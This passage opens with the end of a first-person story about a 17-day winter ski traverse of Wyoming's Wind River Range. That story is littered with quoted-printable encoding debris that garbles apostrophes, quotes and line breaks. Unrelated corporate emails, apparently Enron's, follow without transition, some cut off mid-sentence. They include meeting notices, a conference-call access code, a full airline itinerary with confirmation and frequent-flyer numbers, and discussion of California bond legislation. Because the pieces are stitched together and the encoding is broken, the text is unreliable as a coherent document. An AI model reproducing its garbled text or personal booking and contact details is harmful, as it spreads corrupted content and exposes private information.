became unstoppable.  He was increasingly pulling the boat over the final
days, and I was happy to let him. Especially going downhill though tricky,
steep sections he raced far ahead.  Perhaps it was a desire to escape my
singing that drove him forward.  I sang many pop songs, past and present,
but refused to sing Neil Diamond, Joe=01,s favorite artiste.  As this dispu=
ted
issue festered, Joe seemed eager to put more and more distance between the
two of us.

As it turns out, Vista Pass really was the last uphill, and now it was time
to go down.  After a few hours of easy traversing, we lost the trail and
decided to descend a steeply falling stream choked with enormous boulders.
Seemed like a good idea at the time I guess.  Joe was in front, skiing
straight downstream and stopping only for the most absurd drops.  He was
soon out of sight.  Following his track was a bit of an eye opener.  It fel=
t
like the cartoon where you come upon a set of ski tracks that split around =
a
tree.  In leather boots and telemark bindings with a large sled, Joe was
sticking 4 and 5 foot drops.  I stared in disbelief at the smooth sled trac=
k
that went over the top of a boulder, then straight down for a few feet, the=
n
continued on.  I had more solid AT gear, but there was no way I was doing
that.  I was sure I=01,d break a ski.

Later, Joe confided that the way he=01,d been able to descend these boulder=
s
was to surf down sloughs of snow.  As he went over the tops of rocks, snow
would slide off and cushion his descent and landing.  But as the second guy
down the course, I enjoyed none of this extra padding.  It was all gone.
Instead of using the Hartney straightline method, I tried side stepping dow=
n
from the top of the boulder, turning my skis perpendicular to the fall line
that my sled wanted so desperately to follow at great speed.

It didn=01,t work too well.  Shorn of most of their snow, the boulders, it
turned out, were covered with glare ice.  Again and again I would be just
about to take the final step down when my skis would slip.  I fell over my
skis downhill, face-planting in the stream bed.  The sled then crashed on
top of me.  I struggled to release skis and waist belts.  Once I had to get
out my shovel and dig to find a pole that went astray in a particularly
juicy fall.  To make matters worse, I was getting wet from these repeated
snow baths.

Some time during this carefree afternoon I looked down and noticed that
where the solid metal tow bars of my sled connected to the plastic hull
there was a grave problem.  The connection points were tearing away from th=
e=20
body and threatened to come off altogether.  When and if that happened, I
would be reduced to fashioning a rope and stick contraption to bind the sle=
d
to my body.  I shuddered to think what such a caveman era contraption might
do to our progress and tried to face plant less often on the rest of my
stream run.

At last the track I was following left the creek, and I thrashed down into
dense woods where I found Joe looking at the map and having a snack.  It
looked like he=01,d been there for quite a while.  I waited for some sign f=
rom
him that maybe the creek had been kind of tough.  Nothing.  I acted
nonchalant:  =01&That was fun.=018  =01&Yeah,=018 Joe said.  =01&I broke my=
 sled it looks
like,=018 I countered.  =01&Oh really?=018  Finally, I had to ask.  =01&Did=
 you fall at
all back there?=018  =01&What?=018  He was looking at the map.  =01&Oh, no.=
  I did have
to slow down at one point though.=018  Here I=01,d spent the last hour egg
beatering down the creek like someone just introduced to skis.  And Joe had
to slow down once.  The poor kid.

Needless to say, we didn=01,t make it out that day.  But we did make it to =
the
valley floor.  Flat ground at last!  Now I could claim that there would be
no more uphill or downhill.  But all was not yet goodness and light, and we
soon found ourselves wallowing in some of the worst snow imaginable.  Deepe=
r
than the snow we had battled through at South Pass, it exhibited the same
general characteristics.  Deeply rotten and unsupportable, yet dense and
heavy, it was nearly impossible to move through.  We were snowshoeing again=
,
pulling our ski tips out of the snow at each step and stepping on the
surface, only to sink down a foot.  Pure hell.  Too spice up what promised
to be hours, and possibly days, of fun battling our way out, I decided to
make a quick sight seeing trip to the other side of the Green River.  After
plunging through the ice and almost losing a ski in the swift flowing
current, I reluctantly came back across and started sloshing down the trail
like a good boy.  My skins were now coated with ice which removed any
possibility of sliding on them.  Oh well.  That night we made a fire and fe=
d
it with prehistoric glee, which somewhat warmed our outlook and dried my
boots.  But we still weren=01,t out.

Day 17.  Joe and I don=01,t need to verbalize this, but it=01,s just sort o=
f
understood that there is absolutely no way we are not making it out today.
No chance of not getting out today.  Nope.  I mean zero chance.  We even ge=
t
up in the dark for an early start to ensure that no matter what the day may
throw at us (earthquakes, volcanic eruptions, meteors, etc.) we are still
making it out.  As I flee the ice bag, I notice it=01,s only =01)10 F down =
here in
the sultry valley.

Even though he broke trail most of yesterday, Joe is out in front again.
The snow is worse than ever.  Somehow even with a trail to follow I can=01,=
t
really keep up.  I occupy myself with bitter, frivolous =01&Well, at least
we=01,re not getting attacked by a moose=018 kind of thoughts.  I look arou=
nd for
some small forest creature to curse at.  Anything to divert attention from
the pain in my feet and legs.  Damn pikas.  Bloody chipmunks.  But there=01=
,s
nothing about.  Staggering along, I feel almost like a third party to our
plight, like I=01,m watching it on tv.  Tra la la.  This is pretty fun, I l=
ie
to myself.

But our suffering pays off.  We come upon a lake.  Could this be Green Rive=
r
Lakes?  We consult the map.  Surely there must be some mistake.  I wait for
Joe to inform me that we=01,ve made a wrong turn and are actually in northe=
rn
British Columbia, hundreds of miles from the nearest road.  But no.  As if =
a
ramp of light had descended from parted clouds to our feet, the lake lies
there like a highway.  Trumpets are sounding.  Angels are fluttering above
motioning us forward.  Not only will trail breaking be easier, we now have
certifiable proof that we are only 4 miles from Green River Lakes
campground, a snowmobiling mecca.  It=01,s only about 1 pm and clear and su=
nny.
  Surely there will be hundreds of people out on a day like this, even if i=
t
is a Tuesday.  We have visions of having to fight back hordes of attractive
female snowmachiners, all clamoring to be the ones who will give us a ride
back to Cora, 20 miles distant.  We=01,ll probably need flak jackets.

We pick up the pace.  Or rather Joe picks up the pace.  Apparently he think=
s
he may still have a good chance of competing in some nordic events in the
2002 Olympics in Salt Lake, because he=01,s going down the lake like a rock=
et.
He=01,s not even going in a straight line.  He=01,s swerving all over the p=
lace,
going like a madman for the finish line.  He doesn=01,t care because WE ARE
GETTING OUT TODAY!  One thing I do have going for me is that I can plot a
straight course for the point where we will exit the first lake, so I regai=
n
some time.  We cross the first lake.  There are ski tracks in the snow.
Humans!  At the second lake, where the wilderness boundary ends, I am about
as happy as I have ever been to see snowmobile tracks all over the place.
But strangely, ominously, no machines.

At 3 pm we are at the campground.  Snowmobile tracks everywhere.  It=01,s j=
ust
a matter of time, I tell myself.  They=01,ll be here.  We reach the far end=
 of
the campground where the road heads off for Cora and do some gear
rearranging, readying ourselves for that magic ride.  We scatter things all
over the road, effectively blockading it.  Nobody is getting by here withou=
t
picking us up.  The sun is still shining and it=01,s downright warm.  As a
little joke, I take my sleeping bag out and set it on a tarp to begin the
drying process which, I imagine, will really kick into gear in about three
hours when we=01,re back in Joe=01,s living room in Jackson and have turned=
 up the
thermostat to about 85 F.  Just a bit of fun putting the bag out like this.
I mean, it=01,s not like we=01,re going to need the thing tonight.

Total silence.  Wonder where they are, these =01+bilers?  Must be a local
tradition to stop at this time each afternoon for a moment of silence or
something.  We start getting a little upset.  Almost indignant.  Don=01,t t=
hese
people know how to have fun?  Where are they?  A day this beautiful and
noone=01,s out on their machines?  Where is everyone, off cross country ski=
ing
or something?  Sun=01,s going down now.  For god=01,s sake WHERE ARE THEY?!

And then, just as faint as the sound of a mosquito, we hear it.  A little
buzz.  Was that the wind?  No, I still hear it.  Could it be a =01( plane?
Buzz.  Buzz.  Buzzzzzzz.  No sound could be more soothing, more friendly,
more welcome at that moment than this: the sound of not one but several two
stroke engines heading our way.

We finally crack.  Screams, high fives, arms raised.  Hysteria, release.  W=
e
knew it!  We knew we=01,d make it out tonight!  Victory is ours!  We are go=
ing
to live!  After a minute or two I realize that maybe if I stop shouting and
set about repacking the crap I=01,ve strewn all over the road we=01,ll look=
 a
little more appealing.  A little more like someone these gracious, heroic,
good-natured =01+bilers will want to pick up.  I lower my arms, wipe the te=
ars
off my face, and start jamming the ice bag back into its stuff sack.

We start cleaning up.  In an instant we are already mentally back in
Jackson.  Back in town.  Back indoors.  As if transported by a futuristic
machine, we are no longer at a remote trailhead 20 miles away from a town o=
f
maybe 200 people in the middle of nowhere in Wyoming.  We are home.  We are
warm.  We are about to have dinner.  Joe=01,s in the shower.  I=01,m checki=
ng my
email.  Beam me up, Scotty.

For some reason the =01+bilers (there are 4 of them) have stopped almost a =
mile
short of our little shanty town and have turned off their machines.  Now
that doesn=01,t look good.  The sun has just gone behind a peak, and in abo=
ut
15 minutes the temperature will go into freefall.  We can=01,t imagine why
anyone would come the 20 miles out here and not go all the way to the lake,
which is on the other side of us.  They=01,re probably playing a game of
rock-paper-scissors to decide who will be the lucky two to host us on the
ride back, but we are sure not taking any chances.  Maybe they just haven=
=01,t
seen us.  Before I can suggest that he=01,d probably enjoy some brisk skiin=
g
after such a slack 17 days, Joe has stripped off his skins and is skating
down the road toward our motorized friends to make sure all is well with,
uh, you know, the pickup and the ride back and everything.

I get out my telephoto lens to watch and maybe document this historic
meeting.  I=01,m sure that as soon as he gets the aok I=01,ll be hearing a =
lot of
noise from Joe.  I imagine the bilers=01, responses:  =01&You skied 130 mil=
es from
where?  Good lord, son, you get on the back of this machine and we=01,re go=
ing
back to my place for a full blown steak dinner right now.  Here, I=01,ll ju=
st
call ahead and get that in the works.=018  =01&Now wait just a minute there=
, Bill.
  Who said we=01,re going to your place?  We=01,re having it at my house.=
=018
=01&Jimmy, over my dead body.  We=01,re going to my house and we=01,re havi=
ng a
dinner and dance, and then we=01,re taking them to Vegas for a week.  And i=
f
anyone else tries to contribute one penny to the expense, there=01,s going =
to
be a fight.  It=01,s all on me.=018  =01&Sorry, Bobby, but it=01,s just not=
 going to be
like that at all.  We=01,re going to my place, we=01,re eating for two days=
, and
then I=01,m taking them to meet the Governor before we head to Acapulco for=
 a
week.  And I=01,ll be damned if my two daughters aren=01,t coming with us.=
=018  I
start to get a warm fuzzy feeling.  These are my people!  I=01,m determined=
 to
try snowmobiling as soon as possible.  Maybe even convert.  Screw this
skiing stuff.  I want horsepower!  I start singing as I pack up my sled.

The first sign of trouble is when the four riders start their machines and
set off headed toward me.  But Joe remains standing in place like a fence
post.  He=01,s not moving at all.  I figure he=01,s just so bowled over by =
all the
outlandish offers of hospitality we=01,ve received that he=01,s wondering h=
ow
we=01,re going to be able to make it out of Cora in less than a week.  What
with all the parades, barbecues, snowmobiling with the mayor, square dances=
,
and motivational talks at the high school, we may have to push back the nex=
t
leg of our Yellowstone traverse by at least a few days.  Here come the
=01+bilers.  Joe is still doing his frozen in place routine.  This does not
look good.

I reluctantly clear a path to let the four riders through our barricade.
Well, they may be getting to the lake, I think, but they can=01,t get out. =
 The
most worrisome thing is that they do not stop to talk to me, and only one
even waves.  No eye contact at all.  That=01,s alright, I think.  Out of
consideration for us they=01,re hurrying as fast as they can to get a glimp=
se
of the lake and then they=01,re going to zip back and get us.  We=01,ll tal=
k back
at their place.  They just don=01,t want us to spend a single additional mi=
nute
outside.  How kind of them.  That=01,s why they didn=01,t stop.

Then it hits me.  The music stops, the needle goes screeching across the
record.  We=01,re in trouble here.  Something is terribly, terribly wrong.
This is just not how people who are about to bring us home to feast with
their extended family should be acting.  Joe is moving now at least.  He ha=
s
taken his skis off and is walking back toward me at a very slow speed.  I
shout to him, =01&Well?=018  No response.  =01&Joe?=018  =01&JOE!=018  I re=
peatedly shout at
him as he approaches within 100 yards.  He=01,s not answering.  God this lo=
oks
bad!  I instantly readjust my internal fun meter from being back in Jackson
watching tv to Defcon 5.  I=01,ve been yanked out of the shower and I=01,m =
at the
North Pole having just been given the news that the pickup flight is not
coming and we have to make the 1400 mile trek home by dogsled.  And we don=
=01,t
have any sled dogs so we=01,ll be using marmots instead.  It=01,s pretty cl=
ear we
are not getting a ride back with the boys.

Joe confirms this with very few words when he arrives.  The party consisted
of a Wyoming guide and three clients from Michigan.  The guide mumbled some
bologna about how he could lose his license if anyone saw him giving us a
ride.  Joe kind of tried to laugh this one off at first but then realized
the guy was serious.  He did not want to help us, who knows why.  This
outcome was so unexpected and so incomprehensible to us that we just sat
there at first.  It was like a truck coming across someone in the Sahara
Desert.  =01&Sorry, I=01,d love to pick you up, but you might put your feet=
 on the
dash and smudge the leather.=018  Would any skier coming across a broken do=
wn
snowmobiler 20 miles from the road refuse to help, refuse to lend a hand in
any way?  We couldn=01,t fathom this.  Where was the back country fellowshi=
p,
the shared camaraderie of a couple of hearty souls out in Wyoming=01,s
wildness?  Sorry.  It wasn=01,t there this time.  We were crushed.

The previously valiant ambassadors of world peace and brotherhood, now
hateful, bubble-headed practitioners of an idiotic, environmentally damagin=
g
sport, came roaring back from the lake on their gas pigs.  I stared at them
menacingly.  They did not stop.  Good thing for them.  We spent 20 minutes
on tirades and diatribes best not recalled in print, and then we got out ou=
r
pathetic list of options.  We had already gone about 10 miles that day.  I
don=01,t know about Joe, but after 17 straight days of going for it, I was =
a
mess.  It was 4:00 pm.  Another 20 miles separated us from the car and
salvation.  We could either camp and continue in the morning, or keep going
a little further until dark.  Or, of course, we could commit to the grand
finale death march.

We decided on the death march.  We would eat dinner, pack it up, and go
until we got to the car.  Just another 20 miles.  It wouldn=01,t be so bad.=
  A
rational person might have pointed out that we were looking at a 30 mile da=
y
(and night), but our thinking was not exactly sharp as a laser.  From step
1, I knew it was a mistake for me, but Joe definitely had the fire for
getting out.  We set off at nearly full speed with evening coming on and
rich alpenglow coating all peaks in sight.  Every step hurt.  Every minute =
I
wanted to stop.  I lasted about an hour before seriously considering
stopping for the night.  Another key characteristic of the death march is
that one person wants to do it and the other really doesn=01,t but just goe=
s
along with it.  It was clear who was in which role.  This was sort of a new
experience for me, for I usually played the guy trying to get the other to
keep going.  Not this time.  I knew Joe was not going to be happy when he
heard I wanted to stop.

For a seeming eternity I heard myself mouthing the words, =01&I think we sh=
ould
stop.=018  But I held on.  Just another step.  Take another step and see ho=
w it
felt.  It felt bad.  My feet were on fire.  My legs were slightly numb down
the sides.  I was hobbling.  I felt about as comfortable on skis as Woody=
=20
Allen.  But the worst thing was that we had no way to measure our progress.
We did not recognize the route, could not assess how much farther, had no
landmarks.  It could be another hour or another 10.  I had myself convinced
we could ski four miles an hour.  By that math, we should be able to reach
Cora in time for last call.  Or at least in time to round up an angry mob o=
f
torch-bearing villagers to go hunt down the four =01+bilers who were guilty=
 of
crimes against humanity and must pay!

Darkness.  Temperature down to a cheery =01)10 F.  Real heat wave here in t=
he
shadow of the Wind River Range.  It=01,s another clear, windless night on t=
he
range as we slowly, painfully make our way out of the mountains.  The ice
hard road crunches under our skis.  Dead silence otherwise.  At last, the
pyschological brutality of simply not knowing how much longer breaks me, an=
d
2=20
 hours into the death march, even though I have convinced myself we must
be half way, I mouth the words.  I=01,m not asking, I=01,m telling.  As sel=
fish as
that may be, I can=01,t go on.  I know Joe is severely displeased, but he
agrees silently, and we stop to set up the tent.  In 10 minutes we are
huddling in the ice bags, praying for warmth.

Looking back, I am amazed we survived as long as we did on the trip with ou=
r
sleeping bags considering the state they were in.  Usually the bag is a saf=
e
house, a place to go when all else goes wrong, a place to retreat to.  But
in our case it was the opposite.  Because the weather was so perfect, the
days were our sanctuary, the place we could recover from our torment in the
bags and get warm again.  Had it not been for the perfect weather, we could
not have lasted.  But we managed to just barely hang on and tolerate our
sleeping bags as they became of less and less use each day.

Until they were of no use whatsoever.  Inside the tent, we are both
thrashing around in our bags fully clothed.  I put on my down jacket inside
the bag for the first time.  Luckily we both have down pants which we have
been wearing to sleep for more than a week.  The bags are doing more harm
than good at this point, but we don=01,t really get that.  The thought does=
n=01,t
occur to us to try sleeping without the bags.  It=01,s obvious that neither=
 one
of us is asleep or headed anywhere remotely near sleep.  For the first time
on the trip I am not satisfactorily warm at night.  I can survive, but it i=
s
not going to be comfortable.  Maybe we=01,d be better off going for the car=
.  I
can=01,t face that unknown quantity.  Another 2=20
 hours?  More?  I realize we
are looking at a sleepless night: 9 hours of waiting for the sun to come
back around.

After an hour Joe announces he can=01,t sleep and wants to keep going.  He=
=01,s
wet and cold and getting worse in the ice bag.  We talk about it and decide
he will go for the car and I will stay the night, continuing at first light=
.
  The thought of getting out of the bag, cold as it is, putting on frozen
boots, hitching up the sled and continuing almost makes me want to get
physically ill, but Joe still has something left.  He departs at 9 pm, back
out into the cold, clear Wyoming night.

I drift in and out of sleep.  I actually do attain some warmth, but somehow
I am also getting wet.  Must have slipped off my pad.  Don=01,t care.  I am
cramped and crippled, a few limbs need blood, but rolling over acts like a
huge vacuum that takes away any heat I have, so I lie still.  My watch says
3 am when I check it.  Only another few hours and I'll be on my way.  I eve=
n
consider getting up right then and continuing but don=01,t.  I think of Joe=
 and
the brutal death march he must have faced, or might still be facing.  Hope
he makes it.  I drift off again.

4:30 am.  I hear a noise.  Sounds like an engine.  It=01,s not a snowmobile=
.
Not high-pitched enough.  Sounds like=01( a car!  In the space of one minut=
e I
go from sleeping to wide awake and out of the ice bag.  I know exactly
what=01,s happened, and I am ecstatic.  It=01,s Joe!  He has driven the car=
 back
down the snowmobile trail to get me!  Bugles are sounding and the cavalry i=
s
thundering over the hill, flags all around.  No time is spent wondering
exactly how Joe got the car here.  Before he has it turned around I am out
of the tent and furiously packing my sled.

We have the tent down and my gear in the car in under five minutes.  I slip
under skis and sled poles into the passenger seat and want to cry when I
feel the heat blast from inside.  Joe=01,s had the heater on high for hours=
.
We head off with music playing and Joe hands me a glazed donut.  The
contrast is too stark.  It can=01,t be real.  I keep waiting to wake up in
northern Iceland with the tent blown to shreds and our bags frozen hard as
coffins.  But I am awake, and we are homeward bound at last.

Joe happily relates his tale like he=01,s telling me who won the Super Bowl=
,
and I look for a bullet to bite down on to stop my screams.  He left the
tent to resume the death march at 9 pm.  We figured we were half way, so he
was looking at another two or three hours at most.  More than five hours
after leaving the tent, close to 2:30 am, Joe reached the car.  It started.
Just the thought of going that long, not knowing whether it might have been
another five hours, is too much for me to consider.  Suddenly all my past
death march experiences were transformed into happy jaunts in the country
with birds chirping in comparison with Joe=01,s saga.

After starting the car, Joe made for a local convenience store and stocking
up on junk food and coffee, then returned to the trailhead.  At Green River
Lakes we had joked how the snowmobile trail was hard enough to drive on.
Noticing there was no gate between the parking lot and trail, Joe eased his
Ford Escort up onto the trail.  The car didn=01,t sink in at all.  He kept
going and was soon whizzing down the trail.  =01&So how far was it from the
tent to the car?  Did you measure?=018 I asked.  =01&12 miles.=018

With the heater on full and early morning of our 18th day starting to show
itself in the rosy eastern sky, we point the car toward a breakfast of eggs=
,
bacon, and pancakes.  We had gotten away with murder and we knew it.  Never
in our wildest dreams could we have hoped for such good weather.  We had
done nothing to deserve it.  But with this unprecedented window thrown open
to us, we had breached the Wind River Range=01,s defenses and squeaked thro=
ugh.
  In January.

Joe pops in a Neil Diamond tape and starts singing along.  I=01,ve got some
things to learn from this guy.

Margaret/Elizabeth:

Simon doesn't have Gil Muhl's presentation (job # I have is the "JN" one 
listed below).  Do either of you konw how I might get a copy?

Thanks.

Best,
Jeff

P.S. Margaret.  Got your voicemail.  Thanks.  Will call you as soon as I'm 
able.

	11/09/2000 01:32 PM
		 
		 To: Jeff Dasovich/NA/Enron@Enron, Simon Shih/Graphics/Enron@ENRON
		 cc: 
		 Subject: Electric Copies of Presentations

Feelin' great, still at work.  Due date is a week from tomorrow!

Simon - Can you e-mail these to Jeff?  Thanks!
----- Forwarded by Elizabeth Linnell/NA/Enron on 11/09/2000 01:31 PM -----

	11/09/2000 01:28 PM
		 
		 cc: 

Hi.  How you feeling these days?  From whom can I get copies of the following 
presentations?

2000 RB-NGC-0800-2
2000 JN-2080039-4

Thanks a billion.

There will be a Power Group Meeting this morning at 10am with Kevin Presto. Please plan to attend and I will let you know which conference room as soon as it has been assigned.

The dial in number is as follows:  
INSTRUCTIONS
1. All Participants Dial 1-800-711-8000 or 614-410-1515 for international participants
2. All Participants and Chairperson Enter Access Code: 8539582 #

Thank you,

Smiling.  At  your comments about Samantha - yes she did - and yes she is 
amazing.  Our Holidays were wonderful.  Our New Years was no big deal at 
all.  We (Kenny and I)  were a little under the weather and therefore did 
nothing - I  went to bed at 12:01   .   anyway - love to get togther for 
dinner soon.  have aq nice week. 

Think warm thoughts Susan-
Sandra

Was a pleasure.  Never hesitate to get in touch if you need anything.  Best 
of luck.  Look forward to working with you folks.

Best,
Jeff

Just let me know the number or meeting place for this meeting.  I got the room change for the other Duke meeting, thanks Lorraine.

PT

Sent:	Friday, January 11, 2002 10:00 AM
To:	Lindberg, Lorraine; Frazier, Perry
Subject:	RE: Duke/Pampa

Yes I can.  Let me know when this is finalized.

ds

From: 	Lindberg, Lorraine  
Sent:	Friday, January 11, 2002 9:40 AM
To:	Schoolcraft, Darrell; Frazier, Perry
Subject:	Duke/Pampa

Can we have a conference call Tuesday, 1/15 at 9:00 am to discuss a new well Duke would like to bring on near P-3.  I have ?s about operational issues, de-hy issues and custody transfer.  Please let me know if this time works for you.  Thanks.

Lorraine 

Diane,

Could you check this itenerary for Barry Tycholiz but make it refundable?  Let me know what the fare is.

thanks!

Kim Ward
713-853-0685

Diane Fitzgerald <diane.fitzgerald@travelpark.com> on 04/19/2001 06:04:49 PM
To:	"'KIM.WARD@ENRON.COM'" <KIM.WARD@ENRON.COM>
cc:	 
Subject:	Ward $296.49  nonrefundable.  Please  review and approve this e-t	icketed reservation

                                          AGENT DF/DF BOOKING REF ZRLD6F

                                          WARD/KIM
                                          EB 3204A
                                          ETKT RECEIPT
  ENRON CORP

  DATE:  APR 19 2001

SERVICE               DATE  FROM           TO             DEPART  ARRIVE

AMERICA WEST AIRLINES 26APR HOUSTON TX     PHOENIX AZ     605A    649A
HP 763     K          THU   G.BUSH INTERCO SKY HARBOR INT
                            TERMINAL A     TERMINAL 4
                            RESERVATION CONFIRMED         2:44 DURATION
                            SEAT 04E NO SMOKING CONFIRMED WARD/KIM(IDS5C0

AMERICA WEST AIRLINES 26APR PHOENIX AZ     SAN JOSE CA    744A    946A
HP 297     K          THU   SKY HARBOR INT SAN JOSE MNPL
                            TERMINAL 4     TERMINAL C
                                                          NON STOP
                            RESERVATION CONFIRMED         2:02 DURATION
                  AIRCRAFT: BOEING 737-200/200 ADVANCED
                            SEAT 05E NO SMOKING CONFIRMED WARD/KIM(IDS5C0

UNITED AIRLINES       26APR SAN JOSE CA    LOS ANGELES CA 440P    559P
UA 2635    H          THU   SAN JOSE MNPL  INTL
           NON SMOKING      TERMINAL C     TERMINAL 7
                                                          NON STOP
                            RESERVATION CONFIRMED         1:19 DURATION
                  AIRCRAFT: BOEING 737-500
                      SEAT ASSIGNMENT UPON CHECK IN
                YOUR ETKT CONFIRMATION NUMBER IS: Q2BL6E

CAR                   26APR ALAMO                  LOS ANGELES CA
                      27APR CONFIRMATION: 08376069
                            TELEPHONE: 310-649-2242
                            INTERMED CAR AUTOMATIC AIR
                            RATE: USD37.00- UNL DY 12.33- XH
                            RATE GUARANTEED DROP CHARGE: .00
                            BASE RATE: *AL*USD37.00- BR
                            PICK-UP: 9020 AVIATION BOULEVARD INGLEWOOD
                            DROP-OFF: 9020 AVIATION BOULEVARD INGLEWOOD
                            Z47045

AMERICA WEST AIRLINES 27APR LOS ANGELES CA PHOENIX AZ     1247P   212P
HP 614     K          FRI   INTL           SKY HARBOR INT
                            TERMINAL 1     TERMINAL 4
                                                          NON STOP
                            RESERVATION CONFIRMED         1:25 DURATION
                  AIRCRAFT: AIRBUS INDUSTRIE A320-100/200
                            SEAT 06E NO SMOKING CONFIRMED WARD/KIM(IDS5C0

AMERICA WEST AIRLINES 27APR PHOENIX AZ     HOUSTON TX     245P    716P
HP 275     K          FRI   SKY HARBOR INT G.BUSH INTERCO
                            TERMINAL 4     TERMINAL A
                                                          NON STOP
                            RESERVATION CONFIRMED         2:31 DURATION
                            SEAT 07B NO SMOKING CONFIRMED WARD/KIM(IDS5C0
                YOUR ETKT CONFIRMATION NUMBER IS: KTYOHT

MISCELLANEOUS         25AUG HOUSTON TX
                      SAT   ** THANK YOU FOR USING THE TAP **

RESERVATION NUMBER(S)  HP/KTYOHT  UA/Q2BL6E

WARD/KIM  S5C0342R1004

UA  FREQUENT FLYER UA00136763016
HP  FREQUENT FLYER COFN793648
*******************************************
INTL TVLRS: CARRY SOS WALLET CARD W/ENRON ASSISTANCE INFO
CALL SOS MEDICAL EMERGENCY:IN U.S 800 523-6586
CALL SOS MEDICAL EMERGENCY:INTL 215 245-4707 (COLLECT)
*********************************************
THIS IS A NONREFUNDABLE FARE THAT REQUIRES
TRAVEL ON THESE SPECIFIC DATES AND FLIGHTS.
ANY CHANGES WILL RESULT IN A PENALTY AND/OR
ADDITIONAL COLLECTION.
FARES CHANGE FREQUENTLY. WE WILL HAPPILY REEVALUATE
YOUR FARE UPON REQUEST.
HIS IS THE PASSENGER RECEIPT FOR YOUR ELECTRONIC TICKET.
PLEASE CHECK-IN WITH PHOTO IDENTIFICATION AND WITH
EITHER (1) THIS RECEIPT OR (2) YOUR CONFIRMATION NUMBER.
YOUR ETKT CONFIRMATION NUMBER IS: Q2BL6E/UNITED
YOUR ETKT CONFIRMATION NUMBER IS: KTYOHT/AMERICA WEST
ALL FARES ARE SUBJECT TO CHANGE UNTIL TICKETED/PURCHASED

Regards,
Diana Fitzgerald
Travel Agency In the Park
713-860-1152 - direct line
713-650-7000

Gerald - Sorry for the delay.  
ENA has  an executed agreement with Entergy for the Everest II  re Possible 
sale to Entergy of certain of ENA's power generation assets in consideration 
for, amongst other things, the conveyance to Ena of the restructuring rights 
to Entergy's interests in the Bellingham, Sayerville and Cherokee projects 
owned by FPL Energy, L.L.C.

It is bilateral and expires August 11, 2001

	03/12/2001 09:39 AM
		 
		 cc: 
		 Subject: Conflict Check

Kay,  Please see attached.  If you could let me know ASAP I would appreciate 
it.

go to www.publicdebt.treas.gov.  the term is 30 years but you can cash them in after 6 months.  If you cash them in b4 5 years, you lose three months intere

No Air yet. Cheapest I can find is $325

Sent: Friday, February 23, 2001 3:58 PM
Subject: RE: Vegas Hotel

good move, i need to do that too!  do you have air booked too?

AGA for 5/18/01 is 118
   
*Volumes in the Consuming Region East, for the week ending May 11, 2001, have been revised to reflect a revision of data for one company in the Consuming Region East.

The location for today's meeting at 4:15 p.m. has changed to 50M03 to discuss management's recommendation to the Board of Directors on Project Southwood.

FYI

My trip to Wharton (yes, again).

Vince
05:17 PM ---------------------------

FAP <FAP@management.wharton.upenn.edu> on 11/08/2000 12:15:10 PM
To: 
cc: Weigelt <Weigelt@wharton.upenn.edu>, "'kemallor@wharton.upenn.edu'" 
<kemallor@wharton.upenn.edu>, Thomas <Thomas@wharton.upenn.edu>, 
"'vkamins@enron.com'" <vkamins@enron.com> 
Subject: Enron Tiger Kick Off

Tiger Team Hosts, Faculty, Students and Teaching Assistants:

This is to confirm the date, time and location for the upcoming Tiger Team
Kick-Off.
The Enron project date will be Wed., Dec 6 at VH 210 from 3:00-5:00pm.
The purpose of the Kick-Off Meeting is for the teams, faculty, TA's and
hosts to meet, learn more about the hosting organization and to further
discuss the project.

For hosts who may need a campus map, please see
http://www.upenn.edu/fm/map.html
From the 30th Street train station, it is a quick taxi ride to Spruce St and
37th St.

The Inn at Penn, a new hotel, is one block from campus, if lodging is
necessary.  The phone number there is 215.222.0200.  Please mention you will
be at Penn for business.
The address is :
The Inn at Penn
Sansom Common
3600 Sansom Street
Philadelphia, PA 19104

Hosts, please let me know the names and titles of those representatives who
will be attending the Kick-Off.  Also, let me know if you will need
technology (laptop for ppt or overhead for slides) for presentation
purposes.

(215) 573-8394
(215) 573-5727 fax

hello,
just want to make sure that we are all in agreement that the interest
rate for taxable treasuries are 5.70 NOT 5.72!!
thx,
ted

>To: Jacqueline Kelly <JKelly@FairIsaac.com>
>CC: "Chris Fair (E-mail)" <cfair@worldnet.att.net>,        "Jeff Dasovich
>(E-mail)" <dasovich@haas.berkeley.edu>,        "Kimberely Kupiecki
>(E-mail)" <kupiecki@haas.berkeley.edu>,        "Ted Chin (E-mail)"
><tedchin@hotmail.com>
>Subject: Re: FW: Hello!
>Date: Sun, 3 Dec 2000 20:41:06 -0600
>
>
>Here's the exec sum draft that distributed hard copies of today.  it's
>going to change quite a bit based on today's work.  i'll try to turn it
>around by tomorrow for folks to look at.
>(See attached file: Finance outline 1202.doc)
><< Financeoutline1202.doc >>

_______

first of all.....there were no women........second rob and I shared a room, 
........third, we went to sleep at 9.30 ( with a slight buzz)

FYI.
----- Forwarded by Jeff Dasovich/NA/Enron on 07/06/2001 11:00 AM -----

	William Booth <wbooth@booth-law.COM> 07/05/2001 03:19 PM 	   To: "'Jeff.Dasovich@enron.com'" <Jeff.Dasovich@enron.com>, Ann.Cohn@sce.com, kmccrea@sablaw.com, mkahl@ka-pow.com, jdasovic@enron.com, William Booth <wbooth@booth-law.COM>, drothrock@camfg.com, smutny@iepa.com, brbarkovich@earthlink.net, dominic.dimare@calchamber.com, isenberg@hmot.com, jstewart@cmta.net, mdjoseph@adamsbroadwell.com, lga@mother.com, debinorton@aol.com, cra@calretailers.com, derek.naten@roche.com, vjw@cleanpower.org, "John R. Redding (PS, NE) (E-mail)" <john.redding@gene.GE.com>, "Mike Florio (E-mail)" <mflorio@turn.org>  cc:   Subject: RE: Bond Leg Language, etc.	

Jeff and all:  I agree with your thoughts as to the need for amendments re
DA customers that have never purchased DWR power, call it amend. 1.  I also
agree with your proposal re customers that leave bundled service for direct
access service only having to pay for the costs actually incurred by DWR on
their behalf, call it amend. 2.  I think it is a stretch, however, to
propose an exemption for any customer that leaves bundled for DA by
September 1, call it amend. 3.  This appears to be inconsistent with amend.
2.  I agree with you re amend. 4, deletion of language ending DA.  Bill

Sent: Thursday, July 05, 2001 2:07 PM
To: Ann.Cohn@sce.com; kmccrea@sablaw.com; mkahl@ka-pow.com;
jdasovic@enron.com; wbooth@booth-law.com; drothrock@camfg.com;
smutny@iepa.com; brbarkovich@earthlink.net;
dominic.dimare@calchamber.com; isenberg@hmot.com; jstewart@cmta.net;
mdjoseph@adamsbroadwell.com; lga@mother.com; debinorton@aol.com;
cra@calretailers.com; derek.naten@roche.com; vjw@cleanpower.org; John R.
Redding (PS, NE) (E-mail); Mike Florio (E-mail)
Subject: Bond Leg Language, etc.

Hope everyone had a pleasant 4th.

I've read the respective Burton and Hertzberg language on amending AB 1X.
The Burton language looks cleaner and simpler, though there may be reasons
